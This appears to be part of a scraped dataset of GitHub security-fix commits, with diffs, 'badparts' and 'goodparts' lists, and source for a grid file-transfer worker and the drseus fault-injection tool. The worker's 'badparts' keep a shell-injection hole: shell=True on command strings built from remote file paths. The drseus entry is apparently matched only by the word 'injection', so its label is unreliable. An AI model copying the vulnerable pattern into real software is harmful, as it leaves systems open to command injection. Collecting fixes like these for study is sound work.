b/src/pdm/workqueue/scripts/copy.sh\nindex a7c26c5..8f4d90f 100755\n--- a/src/pdm/workqueue/scripts/copy.sh\n+++ b/src/pdm/workqueue/scripts/copy.sh\n@@ -1,10 +1,5 @@\n #!/bin/sh\n \n-SRC_PATH=\"$1\"\n-DST_PATH=\"$2\"\n-\n-export PATH=/bin:/sbin:/usr/bin:/usr/sbin\n source /cvmfs/grid.cern.ch/umd-c7ui-latest/etc/profile.d/setup-c7-ui-example.sh\n \n gfal-copy -v \"${SRC_PATH}\" \"${DST_PATH}\"\n-\ndiff --git a/src/pdm/workqueue/scripts/listing.sh b/src/pdm/workqueue/scripts/list.sh\nsimilarity index 51%\nrename from src/pdm/workqueue/scripts/listing.sh\nrename to src/pdm/workqueue/scripts/list.sh\nindex 50fe4fb..fa07f53 100755\n--- a/src/pdm/workqueue/scripts/listing.sh\n+++ b/src/pdm/workqueue/scripts/list.sh\n@@ -1,9 +1,5 @@\n #!/bin/sh\n \n-LIST_PATH=\"$1\"\n-\n-export PATH=/bin:/sbin:/usr/bin:/usr/sbin\n source /cvmfs/grid.cern.ch/umd-c7ui-latest/etc/profile.d/setup-c7-ui-example.sh\n \n-gfal-ls -l \"${LIST_PATH}\"\n-\n+gfal-ls -l \"${SRC_PATH}\"\ndiff --git a/src/pdm/workqueue/scripts/remove.sh b/src/pdm/workqueue/scripts/remove.sh\nindex 212e18e..b2f9c93 100755\n--- a/src/pdm/workqueue/scripts/remove.sh\n+++ b/src/pdm/workqueue/scripts/remove.sh\n@@ -1,9 +1,5 @@\n #!/bin/sh\n \n-REM_PATH=\"$1\"\n-\n-export PATH=/bin:/sbin:/usr/bin:/usr/sbin\n source /cvmfs/grid.cern.ch/umd-c7ui-latest/etc/profile.d/setup-c7-ui-example.sh\n \n-gfal-rm \"${REM_PATH}\"\n-\n+gfal-rm \"${SRC_PATH}\"\n", "files": {"/src/pdm/workqueue/Worker.py": {"changes": [{"diff": "\n self._types = [JobType[type_.upper()] for type_ in # pylint: disable=unsubscriptable-object\n conf.pop('types', ('LIST', 'COPY', 'REMOVE'))]\n self._interpoll_sleep_time = conf.pop('poll_time', 2)\n- self._script_path = conf.pop('script_path', None)\n- if self._script_path:\n- self._script_path = os.path.abspath(self._script_path)\n- else:\n- code_path = os.path.abspath(os.path.dirname(__file__))\n- self._script_path = os.path.join(code_path, 'scripts')\n- self._logger.info(\"Script search path is: %s\", self._script_path)\n+ self._script_path = conf.pop('script_path',\n+ os.path.join(os.path.dirname(__file__), 'scripts'))\n+ self._script_path = os.path.abspath(self._script_path)\n+ self._logger.info(\"Script search path is: %r\", self._script_path)\n self._current_process = None\n+\n # Check for unused config options\n if conf:\n- keys = ', '.join(conf.keys())\n- raise ValueError(\"Unused worker config params: '%s'\" % keys)\n+ raise ValueError(\"Unused worker config params: '%s'\" % ', '.join(conf.keys()))\n \n def terminate(self, *_):\n \"\"\"Terminate worker daemon.\"\"\"\n", "add": 6, "remove": 9, "filename": "/src/pdm/workqueue/Worker.py", "badparts": [" self._script_path = conf.pop('script_path', None)", " if self._script_path:", " self._script_path = os.path.abspath(self._script_path)", " else:", " code_path = os.path.abspath(os.path.dirname(__file__))", " self._script_path = os.path.join(code_path, 'scripts')", " self._logger.info(\"Script search path is: %s\", self._script_path)", " keys = ', '.join(conf.keys())", " raise ValueError(\"Unused worker config params: '%s'\" % keys)"], "goodparts": [" self._script_path = conf.pop('script_path',", " os.path.join(os.path.dirname(__file__), 'scripts'))", " self._script_path = os.path.abspath(self._script_path)", " self._logger.info(\"Script search path is: %r\", self._script_path)", " raise ValueError(\"Unused worker config params: '%s'\" % ', '.join(conf.keys()))"]}, {"diff": "\n self._abort(job['id'], \"Protocol '%s' not supported at src site with id %d\"\n % (job['protocol'], job['src_siteid']))\n continue\n- command = \"%s %s\" % (COMMANDMAP[job['type']][job['protocol']], random.choice(src))\n+ script_env = dict(os.environ,\n+ PATH=self._script_path,\n+ SRC_PATH=random.choice(src))\n \n if job['type'] == JobType.COPY:\n if job['dst_siteid'] is None:\n", "add": 3, "remove": 1, "filename": "/src/pdm/workqueue/Worker.py", "badparts": [" command = \"%s %s\" % (COMMANDMAP[job['type']][job['protocol']], random.choice(src))"], "goodparts": [" script_env = dict(os.environ,", " PATH=self._script_path,", " SRC_PATH=random.choice(src))"]}, {"diff": "\n self._abort(job['id'], \"Protocol '%s' not supported at dst site with id %d\"\n % (job['protocol'], job['dst_siteid']))\n continue\n- command += \" %s\" % random.choice(dst)\n+ script_env['DST_PATH'] = random.choice(dst)\n \n+ command = COMMANDMAP[job['type']][job['protocol']]\n with TempX509Files(job['credentials']) as proxyfile:\n+ script_env['X509_USER_PROXY'] = proxyfile.name\n self._current_process = subprocess.Popen('(set -x && %s)' % command,\n shell=True,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT,\n- env=dict(os.environ,\n- PATH=self._script_path,\n- X509_USER_PROXY=proxyfile.name))\n+ env=script_env)\n log, _ = self._current_process.communicate()\n self.set_token(token)\n try:", "add": 4, "remove": 4, "filename": "/src/pdm/workqueue/Worker.py", "badparts": [" command += \" %s\" % random.choice(dst)", " env=dict(os.environ,", " PATH=self._script_path,", " X509_USER_PROXY=proxyfile.name))"], "goodparts": [" script_env['DST_PATH'] = random.choice(dst)", " command = COMMANDMAP[job['type']][job['protocol']]", " script_env['X509_USER_PROXY'] = proxyfile.name", " env=script_env)"]}], "source": "\n \"\"\"Worker script.\"\"\" import os import time import uuid import random import socket import subprocess from urlparse import urlsplit, urlunsplit from tempfile import NamedTemporaryFile from contextlib import contextmanager from requests.exceptions import Timeout from pdm.framework.RESTClient import RESTClient, RESTException from pdm.cred.CredClient import CredClient from pdm.endpoint.EndpointClient import EndpointClient from pdm.utils.daemon import Daemon from pdm.utils.config import getConfig from.WorkqueueDB import COMMANDMAP, PROTOCOLMAP, JobType @contextmanager def TempX509Files(token): \"\"\"Create temporary grid credential files.\"\"\" cert, key=CredClient().get_cred(token) with NamedTemporaryFile() as proxyfile: proxyfile.write(key) proxyfile.write(cert) proxyfile.flush() os.fsync(proxyfile.fileno()) yield proxyfile class Worker(RESTClient, Daemon): \"\"\"Worker Daemon.\"\"\" def __init__(self, debug=False, one_shot=False): \"\"\"Initialisation.\"\"\" RESTClient.__init__(self, 'workqueue') conf=getConfig('worker') self._uid=uuid.uuid4() Daemon.__init__(self, pidfile='/tmp/worker-%s.pid' % self._uid, logfile='/tmp/worker-%s.log' % self._uid, target=self.run, debug=debug) self._one_shot=one_shot self._types=[JobType[type_.upper()] for type_ in conf.pop('types',('LIST', 'COPY', 'REMOVE'))] self._interpoll_sleep_time=conf.pop('poll_time', 2) self._script_path=conf.pop('script_path', None) if self._script_path: self._script_path=os.path.abspath(self._script_path) else: code_path=os.path.abspath(os.path.dirname(__file__)) self._script_path=os.path.join(code_path, 'scripts') self._logger.info(\"Script search path is: %s\", self._script_path) self._current_process=None if conf: keys=', '.join(conf.keys()) raise ValueError(\"Unused worker config params: '%s'\" % keys) def terminate(self, *_): \"\"\"Terminate worker daemon.\"\"\" Daemon.terminate(self, *_) if self._current_process is not None: self._current_process.terminate() def _abort(self, job_id, message): \"\"\"Abort job cycle.\"\"\" self._logger.error(\"Error with job %d: %s\", job_id, message) try: self.put('worker/%s' % job_id, data={'log': message, 'returncode': 1, 'host': socket.gethostbyaddr(socket.getfqdn())}) except RESTException: self._logger.exception(\"Error trying to PUT back abort message\") def run(self): \"\"\"Daemon main method.\"\"\" endpoint_client=EndpointClient() run=True while run: if self._one_shot: run=False try: response=self.post('worker', data={'types': self._types}) except Timeout: self._logger.warning(\"Timed out contacting the WorkqueueService.\") continue except RESTException as err: if err.code==404: self._logger.debug(\"No work to pick up.\") time.sleep(self._interpoll_sleep_time) else: self._logger.exception(\"Error trying to get job from WorkqueueService.\") continue job, token=response src_site=endpoint_client.get_site(job['src_siteid']) src_endpoints=[urlsplit(site) for site in src_site['endpoints'].itervalues()] src=[urlunsplit(site._replace(path=job['src_filepath'])) for site in src_endpoints if site.scheme==PROTOCOLMAP[job['protocol']]] if not src: self._abort(job['id'], \"Protocol '%s' not supported at src site with id %d\" %(job['protocol'], job['src_siteid'])) continue command=\"%s %s\" %(COMMANDMAP[job['type']][job['protocol']], random.choice(src)) if job['type']==JobType.COPY: if job['dst_siteid'] is None: self._abort(job['id'], \"No dst site id set for copy operation\") continue if job['dst_filepath'] is None: self._abort(job['id'], \"No dst site filepath set for copy operation\") continue dst_site=endpoint_client.get_site(job['dst_siteid']) dst_endpoints=[urlsplit(site) for site in dst_site['endpoints'].itervalues()] dst=[urlunsplit(site._replace(path=job['dst_filepath'])) for site in dst_endpoints if site.scheme==PROTOCOLMAP[job['protocol']]] if not dst: self._abort(job['id'], \"Protocol '%s' not supported at dst site with id %d\" %(job['protocol'], job['dst_siteid'])) continue command +=\" %s\" % random.choice(dst) with TempX509Files(job['credentials']) as proxyfile: self._current_process=subprocess.Popen('(set -x && %s)' % command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=dict(os.environ, PATH=self._script_path, X509_USER_PROXY=proxyfile.name)) log, _=self._current_process.communicate() self.set_token(token) try: self.put('worker/%s' % job['id'], data={'log': log, 'returncode': self._current_process.returncode, 'host': socket.gethostbyaddr(socket.getfqdn())}) except RESTException: self._logger.exception(\"Error trying to PUT back output from subcommand.\") finally: self.set_token(None) ", "sourceWithComments": "#!/usr/bin/env python\n\"\"\"Worker script.\"\"\"\nimport os\nimport time\nimport uuid\nimport random\n# import json\n# import shlex\nimport socket\nimport subprocess\nfrom urlparse import urlsplit, urlunsplit\nfrom tempfile import NamedTemporaryFile\nfrom contextlib import contextmanager\n\nfrom requests.exceptions import Timeout\n\nfrom pdm.framework.RESTClient import RESTClient, RESTException\nfrom pdm.cred.CredClient import CredClient\nfrom pdm.endpoint.EndpointClient import EndpointClient\nfrom pdm.utils.daemon import Daemon\nfrom pdm.utils.config import getConfig\n\nfrom .WorkqueueDB import COMMANDMAP, PROTOCOLMAP, JobType\n\n\n@contextmanager\ndef TempX509Files(token):\n \"\"\"Create temporary grid credential files.\"\"\"\n cert, key = CredClient().get_cred(token)\n with NamedTemporaryFile() as proxyfile:\n proxyfile.write(key)\n proxyfile.write(cert)\n proxyfile.flush()\n os.fsync(proxyfile.fileno())\n yield proxyfile\n\n\nclass Worker(RESTClient, Daemon):\n \"\"\"Worker Daemon.\"\"\"\n\n def __init__(self, debug=False, one_shot=False):\n \"\"\"Initialisation.\"\"\"\n RESTClient.__init__(self, 'workqueue')\n conf = getConfig('worker')\n self._uid = uuid.uuid4()\n Daemon.__init__(self,\n pidfile='/tmp/worker-%s.pid' % self._uid,\n logfile='/tmp/worker-%s.log' % self._uid,\n target=self.run,\n debug=debug)\n self._one_shot = one_shot\n self._types = [JobType[type_.upper()] for type_ in # pylint: disable=unsubscriptable-object\n conf.pop('types', ('LIST', 'COPY', 'REMOVE'))]\n self._interpoll_sleep_time = conf.pop('poll_time', 2)\n self._script_path = conf.pop('script_path', None)\n if self._script_path:\n self._script_path = os.path.abspath(self._script_path)\n else:\n code_path = os.path.abspath(os.path.dirname(__file__))\n self._script_path = os.path.join(code_path, 'scripts')\n self._logger.info(\"Script search path is: %s\", self._script_path)\n self._current_process = None\n # Check for unused config options\n if conf:\n keys = ', '.join(conf.keys())\n raise ValueError(\"Unused worker config params: '%s'\" % keys)\n\n def terminate(self, *_):\n \"\"\"Terminate worker daemon.\"\"\"\n Daemon.terminate(self, *_)\n if self._current_process is not None:\n self._current_process.terminate()\n\n def _abort(self, job_id, message):\n \"\"\"Abort job cycle.\"\"\"\n self._logger.error(\"Error with job %d: %s\", job_id, message)\n try:\n self.put('worker/%s' % job_id,\n data={'log': message,\n 'returncode': 1,\n 'host': socket.gethostbyaddr(socket.getfqdn())})\n except RESTException:\n self._logger.exception(\"Error trying to PUT back abort message\")\n\n def run(self):\n \"\"\"Daemon main method.\"\"\"\n endpoint_client = EndpointClient()\n run = True\n while run:\n if self._one_shot:\n run = False\n try:\n response = self.post('worker', data={'types': self._types})\n except Timeout:\n self._logger.warning(\"Timed out contacting the WorkqueueService.\")\n continue\n except RESTException as err:\n if err.code == 404:\n self._logger.debug(\"No work to pick up.\")\n time.sleep(self._interpoll_sleep_time)\n else:\n self._logger.exception(\"Error trying to get job from WorkqueueService.\")\n continue\n job, token = response\n# try:\n# job, token = json.loads(response.data())\n# except ValueError:\n# self._logger.exception(\"Error decoding JSON job.\")\n# continue\n src_site = endpoint_client.get_site(job['src_siteid'])\n src_endpoints = [urlsplit(site) for site\n in src_site['endpoints'].itervalues()]\n src = [urlunsplit(site._replace(path=job['src_filepath'])) for site in src_endpoints\n if site.scheme == PROTOCOLMAP[job['protocol']]]\n if not src:\n self._abort(job['id'], \"Protocol '%s' not supported at src site with id %d\"\n % (job['protocol'], job['src_siteid']))\n continue\n command = \"%s %s\" % (COMMANDMAP[job['type']][job['protocol']], random.choice(src))\n\n if job['type'] == JobType.COPY:\n if job['dst_siteid'] is None:\n self._abort(job['id'], \"No dst site id set for copy operation\")\n continue\n if job['dst_filepath'] is None:\n self._abort(job['id'], \"No dst site filepath set for copy operation\")\n continue\n\n dst_site = endpoint_client.get_site(job['dst_siteid'])\n dst_endpoints = [urlsplit(site) for site\n in dst_site['endpoints'].itervalues()]\n dst = [urlunsplit(site._replace(path=job['dst_filepath'])) for site in dst_endpoints\n if site.scheme == PROTOCOLMAP[job['protocol']]]\n if not dst:\n self._abort(job['id'], \"Protocol '%s' not supported at dst site with id %d\"\n % (job['protocol'], job['dst_siteid']))\n continue\n command += \" %s\" % random.choice(dst)\n\n with TempX509Files(job['credentials']) as proxyfile:\n self._current_process = subprocess.Popen('(set -x && %s)' % command,\n shell=True,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT,\n env=dict(os.environ,\n PATH=self._script_path,\n X509_USER_PROXY=proxyfile.name))\n log, _ = self._current_process.communicate()\n self.set_token(token)\n try:\n self.put('worker/%s' % job['id'],\n data={'log': log,\n 'returncode': self._current_process.returncode,\n 'host': socket.gethostbyaddr(socket.getfqdn())})\n except RESTException:\n self._logger.exception(\"Error trying to PUT back output from subcommand.\")\n finally:\n self.set_token(None)\n\n"}}, "msg": "Update to using env variables rather than command line args.\n\nThis should hopefully avoid any nasty injection problems."}}, "https://github.com/CHREC/drseus": {"1893f246bb6d7bf6f7f9c5e72a0e4652c24605e4": {"url": "https://api.github.com/repos/CHREC/drseus/commits/1893f246bb6d7bf6f7f9c5e72a0e4652c24605e4", "html_url": "https://github.com/CHREC/drseus/commit/1893f246bb6d7bf6f7f9c5e72a0e4652c24605e4", "message": "added login command options\nupdated event exception and stack trace logging\nadded injection success column to results table\ncleaned up result template\nadded open all displayed button to results table page\nadded clean command", "sha": "1893f246bb6d7bf6f7f9c5e72a0e4652c24605e4", "keyword": "command injection update", "diff": "diff --git a/drseus.py b/drseus.py\nindex 1d1bd17..f6d762e 100755\n--- a/drseus.py\n+++ b/drseus.py\n@@ -3,14 +3,11 @@\n \n import utilities\n \n-# TODO: add option for device password\n # TODO: add options for custom error messages\n # TODO: use formatting strings\n # TODO: add ip address override\n # TODO: remove output image buttons if not needed from log viewer result page\n # TODO: move rsakey back into campaign_data/db\n-# TODO: add boot commands option\n-# TODO: add modes to backup database and delete backups\n # TODO: add mode to redo injection iteration\n # TODO: add fallback to power cycle when resetting dut\n # TODO: add support for injection of multi-bit upsets\n@@ -50,6 +47,8 @@\n help='device password')\n parser.add_argument('--uboot', action='store', metavar='COMMAND',\n dest='dut_uboot', default='', help='DUT u-boot command')\n+parser.add_argument('--login', action='store', metavar='COMMAND',\n+ dest='dut_login', default='', help='DUT post-login command')\n parser.add_argument('--aux_serial', action='store', metavar='PORT',\n dest='aux_serial_port',\n help='AUX serial port [p2020 default=/dev/ttyUSB1] '\n@@ -66,6 +65,8 @@\n '[a9 default=[root@ZED]#] (overridden by Simics)')\n parser.add_argument('--aux_uboot', action='store', metavar='COMMAND',\n dest='aux_uboot', default='', help='AUX u-boot command')\n+parser.add_argument('--aux_login', action='store', metavar='COMMAND',\n+ dest='aux_login', default='', help='AUX post-login command')\n parser.add_argument('--debugger_ip', action='store', metavar='ADDRESS',\n dest='debugger_ip_address', default='10.42.0.50',\n help='debugger ip address [default=10.42.0.50] '\n@@ -84,7 +85,7 @@\n new_campaign.add_argument('application', action='store', metavar='APPLICATION',\n help='application to run on device')\n new_campaign.add_argument('-A', '--arch', action='store',\n- choices=('a9', 'p2020'), dest='architecture',\n+ choices=['a9', 'p2020'], dest='architecture',\n default='p2020',\n help='target architecture [default=p2020]')\n new_campaign.add_argument('-t', '--timing', action='store', type=int,\n@@ -191,10 +192,10 @@\n description='delete results and campaigns',\n help='delete results and campaigns')\n delete.add_argument('delete', action='store',\n- choices=('all', 'results', 'campaign'),\n- help='delete {results} for the selected campaign, '\n- 'delete selected {campaign} and its results, '\n- 'or delete {all} campaigns and results')\n+ choices=['results', 'campaign', 'all', 'r', 'c', 'a'],\n+ help='delete {results, r} for the selected campaign, '\n+ 'delete selected {campaign, c} and its results, '\n+ 'or delete {all, a} campaigns and results')\n delete.set_defaults(func=utilities.delete)\n \n merge = subparsers.add_parser('merge', aliases=['m', 'M'],\n@@ -237,10 +238,23 @@\n description='backup the results database')\n backup.set_defaults(func=utilities.backup_database)\n \n+backup = subparsers.add_parser('clean', aliases=['c', 'C'],\n+ help='delete database backups and injected '\n+ 'checkpoints',\n+ description='delete database backups and '\n+ 'injected checkpoints')\n+backup.set_defaults(func=utilities.clean)\n+\n options = parser.parse_args()\n if options.command is None:\n parser.print_help()\n else:\n+ if options.command == 'n':\n+ options.command = 'new'\n+ elif options.command == 'i':\n+ options.command = 'inject'\n+ elif options.command == 's':\n+ options.command = 'supervise'\n if options.command != 'new':\n if not options.campaign_id:\n options.campaign_id = utilities.get_last_campaign()\ndiff --git a/dut.py b/dut.py\nindex 64adbbe..cfe7335 100644\n--- a/dut.py\n+++ b/dut.py\n@@ -29,6 +29,7 @@ class dut(object):\n ('Call Trace:', 'Kernel error'),\n ('detected stalls on CPU', 'Stall detected'),\n ('malloc(), memory corruption', 'Kernel error'),\n+ ('malloc(): memory corruption', 'Kernel error'),\n ('Bad swap file entry', 'Kernel error'),\n ('Unable to handle kernel paging request', 'Kernel error'),\n ('Alignment trap', 'Kernel error'),\n@@ -46,6 +47,8 @@ def __init__(self, campaign_data, result_data, options, rsakey, aux=False):\n self.aux = aux\n self.uboot_command = self.options.dut_uboot if not self.aux \\\n else self.options.aux_uboot\n+ self.login_command = self.options.dut_login if not self.aux \\\n+ else self.options.aux_login\n serial_port = (options.dut_serial_port if not aux\n else options.aux_serial_port)\n baud_rate = (options.dut_baud_rate if not aux\n@@ -92,12 +95,12 @@ def send_files(self, files, attempts=10):\n except Exception as error:\n if self.options.command != 'new':\n with sql() as db:\n- db.log_event_exception(\n+ db.log_event_trace(\n self.result_data['id'],\n ('DUT' if not self.aux else 'AUX'),\n- 'SSH error')\n+ 'SSH error', exception=True)\n print(colored(\n- self.serial.port+' '+str(self.result_data['id'])+': '\n+ self.serial.port+', '+str(self.result_data['id'])+': '\n 'error sending file(s) (attempt '+str(attempt+1)+'/' +\n str(attempts)+'): '+str(error), 'red'))\n if attempt < attempts-1:\n@@ -111,12 +114,12 @@ def send_files(self, files, attempts=10):\n except Exception as error:\n if self.options.command != 'new':\n with sql() as db:\n- db.log_event_exception(\n+ db.log_event_trace(\n self.result_data['id'],\n ('DUT' if not self.aux else 'AUX'),\n- 'SCP error')\n+ 'SCP error', exception=True)\n print(colored(\n- self.serial.port+' '+str(self.result_data['id'])+': '\n+ self.serial.port+', '+str(self.result_data['id'])+': '\n 'error sending file(s) (attempt '+str(attempt+1)+'/' +\n str(attempts)+'): '+str(error), 'red'))\n dut_scp.close()\n@@ -148,12 +151,12 @@ def get_file(self, file_, local_path='', attempts=10):\n except Exception as error:\n if self.options.command != 'new':\n with sql() as db:\n- db.log_event_exception(\n+ db.log_event_trace(\n self.result_data['id'],\n ('DUT' if not self.aux else 'AUX'),\n- 'SSH error')\n+ 'SSH error', exception=True)\n print(colored(\n- self.serial.port+' '+str(self.result_data['id'])+': '\n+ self.serial.port+', '+str(self.result_data['id'])+': '\n 'error receiving file (attempt '+str(attempt+1)+'/' +\n str(attempts)+'): '+str(error), 'red'))\n if attempt < attempts-1:\n@@ -164,15 +167,15 @@ def get_file(self, file_, local_path='', attempts=10):\n dut_scp = SCPClient(ssh.get_transport())\n try:\n dut_scp.get(file_, local_path=local_path)\n- except:\n+ except Exception as error:\n if self.options.command != 'new':\n with sql() as db:\n- db.log_event_exception(\n+ db.log_event_trace(\n self.result_data['id'],\n ('DUT' if not self.aux else 'AUX'),\n- 'SCP error')\n+ 'SCP error', exception=True)\n print(colored(\n- self.serial.port+' '+str(self.result_data['id'])+': '\n+ self.serial.port+', '+str(self.result_data['id'])+': '\n 'error receiving file (attempt '+str(attempt+1)+'/' +\n str(attempts)+'): '+str(error), 'red'))\n dut_scp.close()\n@@ -198,16 +201,17 @@ def read_until(self, string=None, continuous=False, boot=False):\n event_buff = ''\n event_buff_logged = ''\n errors = 0\n+ hanging = False\n while True:\n char = self.serial.read().decode('utf-8', 'replace')\n if not char:\n+ hanging = True\n if self.options.command != 'new':\n with sql() as db:\n- event_buff = buff.replace(event_buff_logged, '')\n- db.log_event(self.result_data['id'],\n- ('DUT' if not self.aux else 'AUX'),\n- 'Read timeout', event_buff)\n- event_buff_logged += event_buff\n+ db.log_event_trace(\n+ self.result_data['id'],\n+ ('DUT' if not self.aux else 'AUX'),\n+ 'Read timeout')\n if not continuous:\n break\n if self.options.command == 'new':\n@@ -265,6 +269,8 @@ def read_until(self, string=None, continuous=False, boot=False):\n db.update_dict('campaign', self.campaign_data)\n else:\n db.update_dict('result', self.result_data)\n+ if hanging:\n+ raise DrSEUsError(DrSEUsError.hanging)\n if errors and not boot:\n for message, category in self.error_messages:\n if message in buff:\n@@ -289,6 +295,8 @@ def do_login(self, ip_address=None, change_prompt=False, simics=False):\n self.read_until('export PS1=\\\"DrSEUs# \\\"')\n self.prompt = 'DrSEUs# '\n self.read_until()\n+ if self.login_command:\n+ self.command(self.login_command)\n self.command('mkdir ~/.ssh')\n self.command('touch ~/.ssh/authorized_keys')\n self.command('echo \\\"ssh-rsa '+self.rsakey.get_base64() +\ndiff --git a/fault_injector.py b/fault_injector.py\nindex ae6e5a5..384a3a7 100644\n--- a/fault_injector.py\n+++ b/fault_injector.py\n@@ -274,14 +274,9 @@ def check_output():\n return outcome, outcome_category\n \n def log_result(self):\n- out = ''\n- try:\n- out += self.debugger.dut.serial.port+' '\n- except AttributeError:\n- pass\n- out += (str(self.result_data['id'])+': ' +\n- self.result_data['outcome_category']+' - ' +\n- self.result_data['outcome'])\n+ out = (self.debugger.dut.serial.port+', '+str(self.result_data['id']) +\n+ ': '+self.result_data['outcome_category']+' - ' +\n+ self.result_data['outcome'])\n if self.result_data['data_diff'] is not None and \\\n self.result_data['data_diff'] < 1.0:\n out += ' {0:.2f}%'.format(max(self.result_data['data_diff']*100,\n@@ -313,12 +308,12 @@ def inject_and_monitor(self, iteration_counter):\n self.debugger.reset_dut()\n except Exception as error:\n with sql() as db:\n- db.log_event_exception(\n+ db.log_event_trace(\n self.result_data['id'],\n 'Debugger', # TODO: update source\n- 'Error resetting DUT')\n+ 'Error resetting DUT', exception=True)\n print(colored(\n- self.debugger.dut.serial.port+' ' +\n+ self.debugger.dut.serial.port+', ' +\n str(self.result_data['id'])+': '\n 'Error resetting DUT (attempt '+str(attempt+1) +\n '/'+str(attempts)+'): '+str(error), 'red'))\ndiff --git a/log/filters.py b/log/filters.py\nindex 9617b1a..a994409 100644\n--- a/log/filters.py\n+++ b/log/filters.py\n@@ -152,6 +152,15 @@ def __init__(self, *args, **kwargs):\n self.filters['event_type'].extra.update(choices=event_type_choices)\n self.filters['event_type'].widget.attrs['size'] = min(\n len(event_type_choices), 10)\n+ outcome_choices = result_choices(campaign, 'outcome')\n+ self.filters['result__outcome'].extra.update(choices=outcome_choices)\n+ self.filters['result__outcome'].widget.attrs['size'] = min(\n+ len(outcome_choices), 10)\n+ outcome_category_choices = result_choices(campaign, 'outcome_category')\n+ self.filters['result__outcome_category'].extra.update(\n+ choices=outcome_category_choices)\n+ self.filters['result__outcome_category'].widget.attrs['size'] = min(\n+ len(outcome_category_choices), 10)\n source_choices = self.event_choices(campaign, 'source')\n self.filters['source'].extra.update(choices=source_choices)\n self.filters['source'].widget.attrs['size'] = min(\n@@ -172,12 +181,19 @@ def event_choices(self, campaign, attribute):\n help_text='')\n event_type = django_filters.MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n+ result__outcome = django_filters.MultipleChoiceFilter(\n+ label='Outcome',\n+ widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n+ result__outcome_category = django_filters.MultipleChoiceFilter(\n+ label='Outcome category',\n+ widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n source = django_filters.MultipleChoiceFilter(\n widget=SelectMultiple(attrs={'style': 'width:100%;'}), help_text='')\n \n class Meta:\n model = event\n- fields = ('source', 'event_type', 'description')\n+ fields = ('result__outcome_category', 'result__outcome', 'source',\n+ 'event_type', 'description')\n \n \n class simics_register_diff_filter(django_filters.FilterSet):\ndiff --git a/log/tables.py b/log/tables.py\nindex 8afe4af..e6b7a4a 100644\n--- a/log/tables.py\n+++ b/log/tables.py\n@@ -56,6 +56,7 @@ class results_table(tables.Table):\n select = tables.TemplateColumn(\n '',\n verbose_name='', orderable=False)\n+ injection_success = tables.Column(empty_values=(), orderable=False)\n timestamp = tables.DateTimeColumn(format='m/d/Y H:i:s.u')\n targets = tables.Column(empty_values=(), orderable=False)\n \n@@ -77,6 +78,19 @@ def render_registers(self, record):\n else:\n return '-'\n \n+ def render_injection_success(self, record):\n+ success = '-'\n+ if record is not None:\n+ for injection_ in injection.objects.filter(result=record.id):\n+ if injection_.success is None:\n+ success = '-'\n+ elif not injection_.success:\n+ success = False\n+ break\n+ else:\n+ success = True\n+ return success\n+\n def render_targets(self, record):\n if record is not None:\n targets = [injection_.target for injection_\n@@ -95,8 +109,8 @@ class Meta:\n attrs = {\"class\": \"paleblue\"}\n model = result\n fields = ('select', 'id_', 'timestamp', 'outcome_category', 'outcome',\n- 'data_diff', 'detected_errors', 'num_injections', 'targets',\n- 'registers')\n+ 'data_diff', 'detected_errors', 'events', 'num_injections',\n+ 'targets', 'registers', 'injection_success')\n order_by = 'id_'\n \n \ndiff --git a/log/templates/result.html b/log/templates/result.html\nindex 921ad85..e3fe90d 100644\n--- a/log/templates/result.html\n+++ b/log/templates/result.html\n@@ -2,89 +2,6 @@\n \n {% block body %}\n {% load django_tables2 %}\n-{% if campaign_data.use_simics %}\n-
    \n-

    \n- \n- \n- Result\n-

    \n-
    \n- {% csrf_token %}\n- {% render_table table %}\n-
    \n-
    \n-
    \n- \n-
    \n-

    \n- \n- \n- Injections\n-

    \n- {% render_table injection_table %}\n-

    \n- \n- \n- Events\n-

    \n- {% render_table event_table %}\n- {% if output_image %}\n-

    \n- \n- \n- Output Image\n-

    \n- \n- {% endif %}\n- \n- \n- \n- \n- \n-
    \n-
    \n-

    \n- \n- \n- DUT Output\n-

    \n- {{ result.dut_output }}\n- {% if campaign_data.use_aux %}\n-

    \n- \n- \n- AUX Output\n-

    \n- {{ result.aux_output }}\n- {% endif %}\n-

    \n- \n- \n- Debugger Output\n-

    \n- {{ result.debugger_output }}\n-
    \n-     		\n-
    \n-

    \n- \n- \n- Register Diffs\n-

    \n- {% render_table register_table %}\n-
    \n-
    \n-

    \n- \n- \n- Memory Diffs\n-

    \n- {% render_table memory_table %}\n-
    \n-
    \n-
    \n-{% else %}\n
    \n

    \n \n@@ -124,6 +41,54 @@

    \n \n

    \n {% endif %}\n+ {% if campaign_data.use_simics %}\n+ \n+ \n+ \n+ \n+ \n+
    \n+
    \n+

    \n+ \n+ \n+ DUT Output\n+

    \n+ {{ result.dut_output }}\n+ {% if campaign_data.use_aux %}\n+

    \n+ \n+ \n+ AUX Output\n+

    \n+ {{ result.aux_output }}\n+ {% endif %}\n+

    \n+ \n+ \n+ Debugger Output\n+

    \n+ {{ result.debugger_output }}\n+
    \n+     		\n+
    \n+

    \n+ \n+ \n+ Register Diffs\n+

    \n+ {% render_table register_table %}\n+
    \n+
    \n+

    \n+ \n+ \n+ Memory Diffs\n+

    \n+ {% render_table memory_table %}\n+
    \n+
    \n+ {% else %}\n

    \n \n \n@@ -144,7 +109,8 @@

    \n Debugger Output\n

    \n {{ result.debugger_output }}\n+ {% endif %}\n \n \n-{% endif %}\n+\n {% endblock %}\ndiff --git a/log/templates/results.html b/log/templates/results.html\nindex 610aafb..72912f1 100644\n--- a/log/templates/results.html\n+++ b/log/templates/results.html\n@@ -22,10 +22,10 @@

    \n checkboxes[i].checked = !checkboxes[i].checked;\n }\n }\n- function open_selected() {\n+ function open_results(only_selected) {\n checkboxes = document.getElementsByName('select_box');\n for(var i=0, n=checkboxes.length; i\n \n \n
    \n- \n+ \n
    \n \n \n@@ -98,6 +98,9 @@

    \n \n \n \n+
    \n+ \n+
    \n \n \n
